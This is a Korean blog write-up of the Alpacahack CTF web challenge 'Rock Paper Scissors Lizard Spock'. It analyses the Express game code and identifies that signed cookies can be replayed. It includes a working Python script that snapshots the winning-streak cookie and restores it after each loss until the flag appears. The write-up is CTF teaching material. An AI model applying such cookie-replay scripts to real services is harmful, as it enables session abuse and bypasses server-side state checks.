Rock Paper Scissors Lizard Spock

2026. 3. 3. 17:24·Alpacahack
반응형

문제설명

Topic: General

분야: Web

난이도: Hard


코드분석

const valid_inputs = ["rock", "paper", "scissors", "lizard", "spock"];
  • 입력값은 총 5개로 이뤄져 있음
const winsAgainst = {
  rock: ["scissors", "lizard"],
  paper: ["rock", "spock"],
  scissors: ["paper", "lizard"],
  lizard: ["spock", "paper"],
  spock: ["scissors", "rock"],
};
  • rock 선택 시 scissors와 lizard 경우 승리
  • paper 선택시 rock와 spock 경우 승리
  • scissors 선택 시 paper 와 lizard 경우 승리
  • lizard 선택시 spock와 paper 경우 승리
  • spock 선택 시 scissors와 rock 경우 승리
app.get("/", async (req, res) => {
  const rawStreak = req.signedCookies.streak ?? "0";
  const parsedStreak = Number.parseInt(rawStreak, 10);
  const streak = Number.isNaN(parsedStreak) ? 0 : parsedStreak;
  const flash = req.signedCookies.flash;

  if (flash) {
    res.clearCookie("flash", { signed: true });
  }

  const buttons = valid_inputs
    .map(
      (choice) =>
        `<button type="submit" name="input" value="${choice}">${choice}</button>`
    )
    .join("");

  return res.send(`<!DOCTYPE html>
<html>
<body>
  ${flash ? `<p>${flash}</p>` : ""}
  <p>Current streak: ${streak}</p>
  <form method="POST" action="/rpsls">
    ${buttons}
  </form>
  ${streak >= 100 ? FLAG : "Win 100 times in a row to get the flag!"}
</body>
</html>`);
});
  • streak은 쿠키를 읽어서 숫자로 반환함. 없으면 0으로 처리
  • flash은 1회성 쿠키
  • 100연승 시플래그 출력
app.post("/rpsls", async (req, res) => {
  const { input } = req.body;
  if(!valid_inputs.includes(input)) {
    res.cookie("streak", "0", { signed: true });
    res.cookie("flash", "Invalid input", { signed: true });
    return res.redirect("/");
  }

  const opponent = valid_inputs[Math.floor(crypto.randomInt(valid_inputs.length))];
  const currentStreakRaw = req.signedCookies.streak ?? "0";
  const currentStreakParsed = Number.parseInt(currentStreakRaw, 10);
  const currentStreak = Number.isNaN(currentStreakParsed) ? 0 : currentStreakParsed;

  if (input === opponent) {
    res.cookie("streak", "0", { signed: true });
    res.cookie("flash", "Draw!", { signed: true });
  } else if (winsAgainst[input].includes(opponent)) {
    const nextStreak = currentStreak + 1;
    res.cookie("streak", String(nextStreak), { signed: true });
    res.cookie("flash", `You beat ${opponent}!`, { signed: true });
  } else {
    res.cookie("streak", "0", { signed: true });
    res.cookie("flash", `You lost! ${opponent} beats ${input}.`, { signed: true });
  }

  return res.redirect("/");
});
  • 입력한 5개의 값을 body로 넣음
  • 올바르지 않은 값 넣으면 strak이 0이 되고, flash는 Invalid input 출력 후 ( / ) 페이지로 리다이렉트
  • 쿠키에 저장된 연승 값을 읽어 숫자로 파싱
  • 비기고, 이기고, 진 것에 대해 따로 처리

취약점 분석

  • signed 쿠키는 변조 방지는 하지만 재사용 방지는 못한다.
  • 즉, replay(재전송) 공격이 가능

익스플로잇

먼저, 쿠키에서 streak 값을 중복사용하는 것을 확인

응답에서 연승 값을 중복으로 사용하는 것을 알 수 있음

따라서 페이로드를 다음과 같이 작성

 

import random, re, requests

url = "http://34.170.146.252:31548/"
input = ["rock","paper","scissors","lizard","spock"]

# 세션 유지: 쿠키를 자동으로 저장/전송
session = requests.Session()

# best: 지금까지 달성한 연승
# snap: best를 달성했을 때의 쿠키 스냅샷(복구용)
best, snap = 0, None

while best < 100:
    # 랜덤 선택으로 한판 진행 (POST /rpsls)
    response = session.post(
        f"{url}/rpsls", 
        data={"input": random.choice(input)}
    )
    # 응답 HTML에서 'Current streak: N' 숫자 추출"
    n = int(re.search(r"Current streak:\s*(\d+)", response.text).group(1))
    # 최고 기록 갱신 시: 현재 쿠키를 스냅샷으로 저장
    if n > best:
        best, snap = n, session.cookies.copy()
        print("best =", best)
    # 연승이 0으로 리셋되면 저장해둔 최고 기록 쿠키로 롤백    
    elif n == 0 and snap:
        session.cookies = snap.copy()
# 100연승 달성 후 메인 페이지 가져와서 플래그 출력
final = session.get(f"{url}/")
print(final.text)

반응형

'Alpacahack' 카테고리의 다른 글

Another Login Challenge  (0) 2026.03.15
Alert my Flag  (0) 2026.03.05
Alpaca Rangers  (0) 2026.03.03
omikuji  (0) 2026.02.23
Emojify  (0) 2026.02.20
'Alpacahack' 카테고리의 다른 글
  • Another Login Challenge
  • Alert my Flag
  • Alpaca Rangers
  • omikuji
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1) N
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    webstudy
    CSRF
    JavaScript
    alpacahack
    xss
    JS
    DreamHack
    cve
    webhacking
    LLM
    hacking
    web
    드림핵
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
Rock Paper Scissors Lizard Spock
상단으로

티스토리툴바